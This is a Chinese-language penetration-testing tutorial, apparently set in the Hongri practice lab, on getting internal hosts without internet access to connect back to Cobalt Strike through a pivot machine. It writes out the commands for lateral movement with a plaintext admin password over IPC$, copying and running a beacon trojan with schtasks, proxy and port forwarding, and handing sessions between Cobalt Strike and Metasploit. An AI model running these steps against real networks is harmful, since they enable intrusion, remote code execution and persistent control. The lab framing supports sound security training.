内网穿透之不出网上线CobaltStrike技巧

目次

• 前言
  
• smb beacon上线
  
• tcp listener转发上线
  
• http代理上线
  
• tcp beacon正向连接上线
  
• 题外话 — cs和msf的权限传递
  
  
  
  • cs派生给msf
    
  • msf派生给cs
    
  
  

前言

出网or不出网？

目标可以正常访问互联网，可直接在目标机挂socks代理或直接CS上线。而更多的环境是，内网中的服务器和主机不通外网，这样通常环境是无法直接实现CS上线操纵的。
不出网的缘故原由无外乎两种：

• 网络协议被限定
  
• 网络通信不通
  

办理办法也有两种：

• 隧道技术：将一种网络协议的数据封装在另一种网络协议的数据包中传输，绕过网络协议的限定
  
• 代理技术：使用出网的跳板机作为代理，间接上线不出网的主机
  

环境搭建：
内网环境继承使用之前的红日靶场：作为web服务器的win7主机接纳双网卡，内网windows 2008不出网。

smb beacon上线

官网先容：
SMB Beacon使用定名管道通过父级Beacon进行通信，当两个Beacon连接后，子Beacon从父Beacon获取到任务并发送。因为连接的Beacon使用Windows定名管道进行通信，此流量封装在SMB协议中，所以SMB Beacon相对潜伏。

上面这个图就可以说明它们之间的关系，上线跳板机的是父Beacon，SMB Beacon作为子Beacon获取任务通过SMB隧道发送给目标主机。
SMB Beacon的使用条件如下：

• 具有SMB Beacon的主机必须接受445端口上的连接
  
• 只能链接由同一个CobaltStrike实例管理的Beacon
  
• 使用这种Beacon横移必须有目标主机的管理员权限或者拥有具有管理员权限的凭据
  

使用HTTP Beacon上线win7跳板机：

创建一个SMB Beacon监听器：

进入Beacon控制台，输入spawn SMB Beacon的监听器名称派生会话，运行成功后在external中可以看到IP后有个∞∞字符的派生SMB Beacon。

下一步使用派生的SMB Beacon来上线不出网主机，前提是已知目标机器的管理员账号的明文密码或密码哈希，使用SMB Beacon正向连接让其上线。
抓取hash和明文密码，获取密码凭据，选择目标主机OWA（win 2008）选择使用psexec64横向移动：

内网OWA主机成功上线：

运行成功后在external中可以看到IP后有个∞∞字符，这是派生的SMB Beacon。
tcp listener转发上线

在已上线的win7跳板机创建listener，设置监听器代理转发：

转发监听器可以使用己攻陷的win7作为代理，为其他Beacon会话的中转网络流量：

天生一个stageless木马：

将木立刻传至win7跳板机：

与目标主机建立IPC$连接：

1. shell net use \\192.168.52.138\C$ /user:Administrator "hongrisec@2019"

复制代码

将win7跳板机的木马文件copy到目标主机的C共享盘下：

1. shell copy C:\phpStudy\WWW\beacon_x64.exe \\192.168.52.138\C$

复制代码

远程创建目标主机计划任务执行木马：

1. shell schtasks /create /s 192.168.52.138 /u Administrator /p "hongrisec@2019" /sc MINUTE /mo 1 /tn test /tr "C:\beacon_x64.exe"

复制代码

此时跳板机4444端口监听器会等待目标主机木马反弹连接，然后将流量转发到cs上线。
http代理上线

必要使用到代理工具goproxy来搭建http代理，项目地点：https://github.com/snail007/goproxy
上传proxy.exe到web服务器，在8080端口开启http代理：

1. shell C:\phpStudy\WWW\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon

复制代码

然后再使用netsh下令在win7跳板机上做一个端口转发，将内网的822端口转发到外网的8080上：

1. netsh interface portproxy add v4tov4 listenaddress=192.168.52.143 listenport=3422 connectaddress=192.168.88.146 connectport=8080

复制代码

设置一个HTTP Beacon监听器，http代理设置为win7跳板机内网的822端口：

天生一个stageless木马，选择为刚才设置过http代理的监听器：

然后将天生的木立刻传至win7跳板机，再由跳板机与目标主机建立IPC$连接，将木立刻传到目标主机，远程创建目标机计划任务执行木马。
木马会去连接822端口，win7再将822端口的http流量转发到外网的8080，最后由8080端口将流量转发到cs上线。
连接过程：

1. 192.168.52.138(OWA) --> 192.168.52.143:822 --> 192.168.88.146:8080 --> 192.168.88.128:81(CS)

复制代码

遇到一个很头疼的题目，当执行netsh下令后，在0.0.0.0监听的8080就消失了......
tcp beacon正向连接上线

tcp beacon正向连接和smb上线很类似，smb beacon是自动连接目标主机445端口建立smb隧道。而tcp正向连接是使用已上线跳板机自动与上传了木马的目标主机建立tcp连接，从而上线目标主机。
设置一个tcp正向连接的监听器：

使用tcp正向连接的监听器天生stageless木马：

还是上面一样，还是使用跳板机与目标主机建立IPC$连接，上传木马到目标主机：

1. shell net use \\192.168.52.138\C$ /user:Administrator "hongrisec@2019"
3. shell copy C:\phpStudy\WWW\b_beacon_x64.exe \\192.168.52.138\C$

复制代码

跳板机执行connect指令连接目标主机木马：

内网OWA主机成功上线。
题外话 — cs和msf的权限传递

当目标上线cs以后，可以轻松地将cs权限转移到msf上，继承借助msf完成后续的渗出。

环境：msf6 + cs4.8

cs派生给msf

1）在msf上启用reverse_http模块监听本地端口：

1. use exploit/multi/handler
2. set payload windows/meterpreter/reverse_http
3. set lhost 192.168.88.128
4. set lport 4444

复制代码

2）在cs上创建一个foreign http监听，ip和端口设置为msf监听的ip和端口：

Foreign监听器支持与其他软件的监听器进行派生（spawn）

3）右键 —> 凭据提权 —> 新建会话 —> 选择创建的foreign http监听：

msf成功拿到会话：

msf派生给cs

条件：msf已获取meterpreter shell

在cs上创建一个http beacon的监听器：

msf启用payload_inject模块，将ip和端口设置为cs监听的ip和端口：

1. use exploit/windows/local/payload_inject
2. set payload windows/meterpreter/reverse_http
3. set lhost 192.168.88.128
4. set lport 4567
5. set session 1
6. set DisablePayloadHandler true

复制代码

注意：msf的payload和cs的监听器要保持一致

cs成功拿到会话：

总结：
对于这种边沿主机可以出网的环境，重要思绪就是借助边沿的跳板机反向代理把内网主机带出来，再或者是跳板机正向去连接内网主机。反向代理的一个缺点就是，内网主机在出网的时候必要经过各种转发，所谓步骤越多就越轻易失败......个人感觉在内网渗出时条件允许的环境下，首选正向连接，会比较稳定。

参考文章：
https://xz.aliyun.com/t/13918
https://xz.aliyun.com/t/8671

若有错误，欢迎指正！o(￣▽￣)ブ

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。